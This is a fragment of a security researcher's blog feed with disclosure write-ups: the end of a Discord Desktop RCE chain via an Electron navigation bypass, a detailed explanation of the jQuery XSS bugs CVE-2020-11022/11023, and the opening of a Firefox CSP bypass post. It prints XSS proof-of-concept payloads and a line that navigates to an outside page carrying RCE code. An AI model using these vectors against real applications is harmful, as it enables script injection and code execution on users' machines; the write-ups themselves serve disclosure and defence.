\/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta property=\"\u003Cspan style=\"background-color: #fcff01;\"\u003E\u003Cb\u003Eog:video:url\u003C\/b\u003E\u003C\/span\u003E\" content=\"https:\/\/\u003Cspan style=\"background-color: #fcff01;\"\u003E\u003Cb\u003Esketchfab.com\u003C\/b\u003E\u003C\/span\u003E\/models\/2b198209466d43328169d2d14a4392bb\/embed\"\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta property=\"og:video:type\" content=\"text\/html\"\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta property=\"og:video:width\" content=\"1280\"\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta property=\"og:video:height\" content=\"720\"\u0026gt;\u003Cbr \/\u003E\u0026lt;\/head\u0026gt;\u003C\/blockquote\u003E\u003Cp\u003EOkay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the \"JavaScript code outside web pages\" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.\u003C\/p\u003E\u003Cp\u003EI checked the related code and I found the code to restrict navigations by using \"\u003Ci\u003Enew-window\u003C\/i\u003E\" and \"\u003Ci\u003Ewill-navigate\u003C\/i\u003E\" event in the code of the main process:\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003EmainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) =\u0026gt; {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;e.preventDefault();\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;if (frameName.startsWith(DISCORD_NAMESPACE) \u0026amp;\u0026amp; windowURL.startsWith(WEBAPP_ENDPOINT)) {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;} else {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;_electron.shell.openExternal(windowURL);\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;}\u003Cbr \/\u003E});\u003Cbr \/\u003E[...]\u003Cbr \/\u003EmainWindow.webContents.on('will-navigate', (evt, url) =\u0026gt; {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;if (!insideAuthFlow \u0026amp;\u0026amp; !url.startsWith(WEBAPP_ENDPOINT)) {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;evt.preventDefault();\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;}\u003Cbr \/\u003E});\u003C\/blockquote\u003E\u003Cp\u003EI thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.\u003C\/p\u003E\u003Ch3\u003ENavigation restriction bypass (CVE-2020-15174)\u003C\/h3\u003E\u003Cp\u003EI thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is catched by the \"\u003Ci\u003Ewill-navigate\u003C\/i\u003E\" event before the navigation happens and refused by the \u003Ccode\u003EpreventDefault()\u003C\/code\u003E, but is not.\u003C\/p\u003E\u003Cdiv\u003E\u003Cdiv\u003ETo test this behavior, I created a small Electron app. And I found that the \"\u003Ci\u003Ewill-navigate\u003C\/i\u003E\" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.\u003C\/div\u003E\u003C\/div\u003E\u003Cp\u003EWith the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the iframe's XSS, like \u003Ccode\u003Etop.location=\"\/\/l0.cm\/discord_calc.html\"\u003C\/code\u003E.\u003C\/p\u003E\u003Cp\u003EIn this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.\u003C\/p\u003E\u003Cp\u003E\u003Ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\" frameborder=\"0\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/0f3RrvC-zGI\" width=\"560\"\u003E\u003C\/iframe\u003E\u003C\/p\u003E\u003Cp\u003E\u003Cbr \/\u003E\u003C\/p\u003E\u003Ch3\u003EIn the end\u003C\/h3\u003E\u003Cp\u003EThese issues were reported through \u003Ca href=\"https:\/\/discord.com\/security\"\u003EDiscord's Bug Bounty Program\u003C\/a\u003E. First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the \u003Ci\u003Esandbox\u003C\/i\u003E attribute to the iframe. After a while, the\u0026nbsp;\u003Ci\u003EcontextIsolation\u003C\/i\u003E was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received $5,000 as a reward for this discovery.\u003C\/p\u003E\u003Cp\u003EThe XSS on Sketchfab was reported through \u003Ca href=\"https:\/\/help.sketchfab.com\/hc\/en-us\/articles\/360044282632-Security-Vulnerabilities-Bug-Bounty\"\u003ESketchfab's Bug Bounty Program\u003C\/a\u003E and fixed by Sketchfab developers quickly. I received $300 as a reward for this discovery.\u003C\/p\u003E\u003Cp\u003EThe bug in the \"\u003Ci\u003Ewill-navigate\u003C\/i\u003E\" event was reported as a bug of Electron to \u003Ca href=\"https:\/\/github.com\/electron\/electron\/security\/policy\"\u003EElectron's security team\u003C\/a\u003E, and it was fixed as the following vulnerability (CVE-2020-15174).\u003C\/p\u003E\u003Cp\u003EUnpreventable top-level navigation · Advisory · electron\/electron\u003Cbr \/\u003E\u003Ca href=\"https:\/\/github.com\/electron\/electron\/security\/advisories\/GHSA-2q4g-w47c-4674\"\u003Ehttps:\/\/github.com\/electron\/electron\/security\/advisories\/GHSA-2q4g-w47c-4674\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EThat's it.\u0026nbsp;Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)\u003C\/p\u003E\u003Cp\u003EI hope this article helps you keep your Electron apps secure.\u003C\/p\u003E\u003Cp\u003EThanks for reading!\u003C\/p\u003E"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/6054437144226106686\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2020\/10\/discord-desktop-rce.html#comment-form","title":"127 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6054437144226106686"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6054437144226106686"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2020\/10\/discord-desktop-rce.html","title":" Discord Desktop app RCE"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/img.youtube.com\/vi\/0f3RrvC-zGI\/default.jpg","height":"72","width":"72"},"thr$total":{"$t":"127"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-6306727616381609134"},"published":{"$t":"2020-05-17T12:45:00.000-07:00"},"updated":{"$t":"2020-05-17T16:42:13.132-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"JavaScript"},{"scheme":"http://www.blogger.com/atom/ns#","term":"jQuery"},{"scheme":"http://www.blogger.com/atom/ns#","term":"OSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"CVE-2020-11022\/CVE-2020-11023: jQuery 3.5.0 Security Fix details"},"content":{"type":"html","$t":"jQuery 3.5.0 was released last month. In this version, two bugs which I reported are included as \"Security Fix\".\u003Cbr \/\u003E\n\u003Cbr \/\u003E\njQuery 3.5.0 Released! | Official jQuery Blog\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/\"\u003Ehttps:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe bugs are regsited as CVE-2020-11022 and CVE-2020-11023:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/advisories\/GHSA-gxr4-xjj5-5px2\"\u003Ehttps:\/\/github.com\/advisories\/GHSA-gxr4-xjj5-5px2\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/advisories\/GHSA-jpcq-cgw6-v4j6\"\u003Ehttps:\/\/github.com\/advisories\/GHSA-jpcq-cgw6-v4j6\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u0026nbsp;In this article, I'd like to explain the bugs' details.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nOverview of Problems\u003C\/h3\u003E\n\u003Cbr \/\u003E\nThe application which has the following features is affected:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cul\u003E\n\u003Cli\u003EThe application allows users to write any HTML (but it is sanitized)\u003C\/li\u003E\n\u003Cli\u003EThe application dynamically appends the sanitized HTML with jQuery\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cbr \/\u003E\nThe following code is an example of a such application:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div id=\"div\"\u0026gt;\u0026lt;\/div\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;\u003Cbr \/\u003E\n\/\/Sanitized safe HTML\u003Cbr \/\u003E\nsanitizedHTML = '\u0026lt;p title=\"foo\"\u0026gt;bar\u0026lt;\/p\u0026gt;';\u003Cbr \/\u003E\n\/\/Just append the sanitized HTML to \u0026lt;div\u0026gt;\u003Cbr \/\u003E\n$('#div').html(sanitizedHTML);\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\nIn this situation, if the sanitization is performed properly, it looks like that usually XSS does not occur since it just appends the sanitized safe HTML. However, actually, \u003Ccode\u003E.html()\u003C\/code\u003E does the special string processing internally and it caused XSS. This is the issue which I'll explain in this article.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nPoCs\u003C\/h3\u003E\n\u003Cbr \/\u003E\nThere are many variations but I'll show basic three PoCs.\u0026nbsp;Usually, JavaScript is not executed from the following HTMLs:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nPoC 1.\u003Cbr \/\u003E\n\u0026lt;style\u0026gt;\u0026lt;style \/\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u0026nbsp;\u003C\/blockquote\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nPoC 2. (Only jQuery 3.x affected)\u003Cbr \/\u003E\n\u0026lt;img alt=\"\u0026lt;x\" title=\"\/\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\"\u0026gt;\u003C\/blockquote\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nPoC 3.\u003Cbr \/\u003E\n\u0026lt;option\u0026gt;\u0026lt;style\u0026gt;\u0026lt;\/option\u0026gt;\u0026lt;\/select\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u0026lt;\/style\u0026gt;\u003C\/blockquote\u003E\nYou might think there is an img tag which has an onerror attribute, but if you check carefully, actually, it is placed in the attribute or inside of the style element, you will notice that it is not executed.\u0026nbsp;So, even if those HTMLs are generated by an HTML sanitizer as the sanitized HTML, it is not unnatural at all.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nHowever, in all cases, if the HTML is appended via jQuery \u003Ccode\u003E.html()\u003C\/code\u003E, JavaScript is executed unexpectedlly.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nYou can test each PoC in:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/jquery_htmlPrefilter_xss.html\"\u003Ehttps:\/\/vulnerabledoma.in\/jquery_htmlPrefilter_xss.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nNext, I'll explain why it happens.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nCVE-2020-11023: Root cause (PoC 1,2)\u003C\/h3\u003E\n\u003Cbr \/\u003E\nThe PoC 1 and 2 have the same root cause. Within the \u003Ccode\u003E.html()\u003C\/code\u003E, the HTML string passed as the argument is passed to the\u0026nbsp;\u003Ca href=\"https:\/\/api.jquery.com\/jQuery.htmlPrefilter\/\"\u003E$.htmlPrefilter()\u003C\/a\u003E method. The \u003Ccode\u003EhtmlPrefilter\u003C\/code\u003E performs the processing for replacing the self-closing tags like \u003Ccode\u003E\u0026lt;tagname \u003Cspan style=\"background-color: yellow;\"\u003E\u003Cb\u003E\/\u0026gt;\u003C\/b\u003E\u003C\/span\u003E\u003C\/code\u003E to \u003Ccode\u003E\u0026lt;tagname \u0026gt;\u0026lt;\/tagname\u0026gt;\u003C\/code\u003E, by using the following regex:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq nowrap\"\u003E\nrxhtmlTag = \/\u0026lt;(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:-]+)[^\u0026gt;]*)\\\/\u0026gt;\/gi\u003Cbr \/\u003E\n[...]\u003Cbr \/\u003E\nhtmlPrefilter: function( html ) {\u003Cbr \/\u003E\n\u0026nbsp; return html.replace( rxhtmlTag, \"\u0026lt;$1\u0026gt;\u0026lt;\/$2\u0026gt;\" );\u003Cbr \/\u003E\n}\u0026nbsp;\u003C\/blockquote\u003E\nIf the PoC 1's HTML passes through this replacement, the output will be:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026gt; $.htmlPrefilter('\u0026lt;style\u0026gt;\u003Cspan style=\"background-color: yellow;\"\u003E\u003Cb\u003E\u0026lt;style \/\u0026gt;\u003C\/b\u003E\u003C\/span\u003E\u0026lt;img src=x onerror=alert(1)\u0026gt;')\u003Cbr \/\u003E\n\u0026lt; \"\u0026lt;style\u0026gt;\u003Cspan style=\"background-color: yellow;\"\u003E\u003Cb\u003E\u0026lt;style \u0026gt;\u0026lt;\/style\u0026gt;\u003C\/b\u003E\u003C\/span\u003E\u0026lt;img src=x onerror=alert(1)\u0026gt;\"\u003C\/blockquote\u003E\nThe yellow part is the replaced string. Due to this replacement, the \u003Ccode\u003E\u0026lt;style \/\u0026gt;\u003C\/code\u003E inside the style element is replaced to \u003Ccode\u003E\u0026lt;style \u0026gt;\u0026lt;\/style\u0026gt;\u003C\/code\u003E and as the result, the string after that is kicked out from the style element. After that, the \u003Ccode\u003E.html()\u003C\/code\u003E assigns the replaced HTML to \u003Ccode\u003EinnerHTML\u003C\/code\u003E. Here, the \u003Ccode\u003E\u0026lt;img ...\u0026gt;\u003C\/code\u003E string becomes an actual img tag and it fires the onerror event.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nBy the way, the above regex is used in jQuery before 3.x. Since 3.x, another regex which is a bit modified is used:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/jquery\/jquery\/commit\/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30\"\u003Ehttps:\/\/github.com\/jquery\/jquery\/commit\/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nrxhtmlTag = \/\u0026lt;(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\\/\\0\u0026gt;\\x20\\t\\r\\n\\f]*)[^\u0026gt;]*)\\\/\u0026gt;\/gi\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nThis change introduced another XSS vector which can cause XSS by more basic elements and attributes only. The PoC 2's vector is introduced by this change. It works on jQuery 3.x only.\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026gt; $.htmlPrefilter('\u0026lt;img alt=\"\u0026lt;x\" title=\"\/\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\"\u0026gt;')\u003Cbr \/\u003E\n\u0026lt; \"\u0026lt;img alt=\"\u0026lt;x\" title=\"\u0026gt;\u0026lt;\/x\"\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\"\u0026gt;\"\u003C\/blockquote\u003E\nIn this case, the \u0026lt;img ...\u0026gt; string on the attribute's value is kicked out and XSS happens.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI explained the root cause of PoC 1 and 2.\u0026nbsp;How did the jQuery team fix this?\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nThe Fix (PoC 1,2)\u003C\/h3\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\njQuery Team fixed this issue by replacing the \u003Ccode\u003E$.htmlPrefilter()\u003C\/code\u003E method to an identity function.\u0026nbsp;Therefore, the passed HTML string is no longer modified by the \u003Ccode\u003EhtmlPrefilter\u003C\/code\u003E function now.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/jquery\/jquery\/commit\/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198\"\u003Ehttps:\/\/github.com\/jquery\/jquery\/commit\/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nHowever, this did not solve all XSS issues. Inside the \u003Ccode\u003E.html()\u003C\/code\u003E, another string processing is performed and introduces another problem (PoC 3).\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nCVE-2020-11022: Root cause (PoC 3)\u003C\/h3\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\nInside the \u003Ccode\u003E.html()\u003C\/code\u003E, if the tag that appears at the beginning of the HTML which is passed as an argument is one of specific tags, jQuery tries to wrap it with another tag once and do the next processing. This is because some tags are automatically removed due to the HTML's specification or browser's bug if there is no wrapping processing.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe opiton element is one of such elements - in MSIE9, due to its bug, the option element is automatically removed when it is assigned to \u003Ccode\u003EinnerHTML\u003C\/code\u003E, if it is not wrapped with the select element.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nTo deal with this, jQuery tries to wrap the entire passed HTML string including that element with the \u003Ccode\u003E\u0026lt;select multiple='multiple'\u0026gt;\u003C\/code\u003E and \u003Ccode\u003E\u0026lt;\/select\u0026gt;\u003C\/code\u003E if the passed HTML string's first element is the option element.\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\nThe wrapped tags are defined in:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/jquery\/jquery\/blob\/3.4.1\/src\/manipulation\/wrapMap.js#L9\"\u003Ehttps:\/\/github.com\/jquery\/jquery\/blob\/3.4.1\/src\/manipulation\/wrapMap.js#L9\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe actual wrapping processing is done in:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/jquery\/jquery\/blob\/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07\/src\/manipulation\/buildFragment.js#L39\"\u003Ehttps:\/\/github.com\/jquery\/jquery\/blob\/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07\/src\/manipulation\/buildFragment.js#L39\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe issue of PoC 3 happens via this wrapping processing. If the PoC 3's HTML passes through this wrapping processing, the HTML will be:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;select multiple='multiple'\u0026gt;\u0026lt;option\u0026gt;\u0026lt;style\u0026gt;\u0026lt;\/option\u0026gt;\u0026lt;\/select\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u0026lt;\/style\u0026gt;\u0026lt;\/select\u0026gt;\u003C\/blockquote\u003E\nWhen this HTML is assigned to \u003Ccode\u003EinnerHTML\u003C\/code\u003E in the jQuery's internal code, JavaScript is executed.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe reason why the script is executed is in the \u003Ccode\u003E\u0026lt;select\u0026gt;\u003C\/code\u003E tag's parsing.The \u003Ccode\u003E\u0026lt;select\u0026gt;\u003C\/code\u003E \u003Ca href=\"https:\/\/html.spec.whatwg.org\/multipage\/parsing.html#parsing-main-inselect\"\u003Edoes not allow\u003C\/a\u003E putting HTML tags except the option, optgroup, script and template element inside that element. Due to this specification, the inserted \u0026lt;style\u0026gt; is just ignored, the \u003Ccode\u003E\u0026lt;\/select\u0026gt;\u003C\/code\u003E inside the \u003Ccode\u003E\u0026lt;style\u0026gt;\u003C\/code\u003E becomes an actual select element's closing-tag, and then \u003Ccode\u003E\u0026lt;select\u0026gt;\u003C\/code\u003E block is closed there. Eventually, the next \u003Ccode\u003E\u0026lt;img ...\u0026gt;\u003C\/code\u003E is kicked out from the \u003Ccode\u003E\u0026lt;style\u0026gt;\u003C\/code\u003E and the onerror event fires -\u0026gt; XSS. This was the root cause.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nThe Fix (PoC 3)\u003C\/h3\u003E\n\u003Cbr \/\u003E\njQuery Team fixed this issue by applying the wrapping procesing to MSIE9 only.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/jquery\/jquery\/commit\/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25\"\u003Ehttps:\/\/github.com\/jquery\/jquery\/commit\/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nMSIE9 is not vulnerable to this issue because MSIE9's \u003Ccode\u003E\u0026lt;select\u0026gt;\u003C\/code\u003E parsing is a bit special (yes, it's wrong). Therefore, applying the wrapping processing to MSIE9 only can solve this problem.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFor your information, these issues exist not only in \u003Ccode\u003E.html()\u003C\/code\u003E, but also in \u003Ccode\u003E.append()\u003C\/code\u003E, \u003Ccode\u003E$('\u0026lt;tag\u0026gt;')\u003C\/code\u003E etc. Basically, the issue happens via the APIs in which the \u003Ccode\u003E$.htmlPrefilter()\u003C\/code\u003E method or wrapping processing is used internally.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nUpdate it\u003C\/h3\u003E\n\u003Cbr \/\u003E\nIf your application is appending the sanitized HTML via the jQuery functions, you should update to 3.5.0 or higher. If an updating is hard in some reason, I recommend sanitizing the HTML by using\u0026nbsp;\u003Ca href=\"https:\/\/github.com\/cure53\/DOMPurify\"\u003EDOMPurify\u003C\/a\u003E, which is XSS sanitizer. DOMPurify has a \u003Ccode\u003ESAFE_FOR_JQUERY\u003C\/code\u003E option and it can sanitize with considering the jQuery's behavior. You can use that, like this:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq nowrap\"\u003E\n\u0026lt;div id=\"div\"\u0026gt;\u0026lt;\/div\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;\u003Cbr \/\u003E\nunsafeHtml = '\u0026lt;img alt=\"\u0026lt;x\" title=\"\/\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\"\u0026gt;';\u003Cbr \/\u003E\nvar sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );\u003Cbr \/\u003E\n$('#div').html( sanitizedHtml );\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\nNote that DOMPurify had the bypass in \u003Ccode\u003ESAFE_FOR_JQUERY\u003C\/code\u003E recently. Please make sure that you use\u0026nbsp;\u003Ca href=\"https:\/\/github.com\/cure53\/DOMPurify\/releases\/tag\/2.0.8\"\u003E2.0.8\u003C\/a\u003E\u0026nbsp;or higher.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nIn the end\u003C\/h3\u003E\n\u003Cbr \/\u003E\nI started to investigate this issue from XSS challenge by\u0026nbsp;\u003Ca href=\"https:\/\/twitter.com\/PwnFunction\"\u003E@PwnFunction\u003C\/a\u003E:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/xss.pwnfunction.com\/challenges\/ww3\/\"\u003Ehttps:\/\/xss.pwnfunction.com\/challenges\/ww3\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nActually, the some of these bugs were known and it was the expected solution of this challenge. (You can find that fact in the \u003Ca href=\"https:\/\/github.com\/cure53\/DOMPurify\/commit\/9bbd56069e46e282bafad1fab3c6c23c5b331604\"\u003EDOMPurify's change log\u003C\/a\u003E. It was already known in 2014 at least and DOMPurify has the \u003Ccode\u003ESAFE_FOR_JQUERY\u003C\/code\u003E option since 2014. )\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nWith the challenge as a trigger, I started to read jQuery's source code again and I noticed another vector (PoC 2), which is not mentioned publicly. Since this vector can allow XSS with the easy elements and attributes only, I thought many applications are vulnerable. When I actually investigated it, I found some vulnerable apps immediately. I reported it to the developer of the affected applications, at the same time I thought that this issue should be fixed by jQuery side, so I decided to report this to jQuery team. The jQuery team were quick to address the issues, even though they had to make breaking changes. Thank you jQuery team. Also, thanks to\u0026nbsp;\u003Ca href=\"https:\/\/twitter.com\/PwnFunction\"\u003E@PwnFunction\u003C\/a\u003E, the creator of the XSS challenge, who gave me an opportunity to investigate this issue.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat's it.\u0026nbsp;I hope this article helps for securing your web application or finding bugs."},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/6306727616381609134\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2020\/05\/jquery3.5.0-xss.html#comment-form","title":"55 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6306727616381609134"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6306727616381609134"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2020\/05\/jquery3.5.0-xss.html","title":"CVE-2020-11022\/CVE-2020-11023: jQuery 3.5.0 Security Fix details"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"55"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-3469561274785907630"},"published":{"$t":"2018-05-24T02:02:00.000-07:00"},"updated":{"$t":"2018-05-26T12:04:18.308-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"CSP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Firefox"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox"},"content":{"type":"html","$t":"In this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/www.mozilla.org\/en-US\/security\/advisories\/mfsa2018-11\/#CVE-2018-5175\"\u003Ehttps:\/\/www.mozilla.org\/en-US\/security\/advisories\/mfsa2018-11\/#CVE-2018-5175\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nA mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\n\u003Ch3\u003E\nWhat is the \"strict-dynamic\"?\u003C\/h3\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nmaybe you should read CSP spec :) \u003Ca 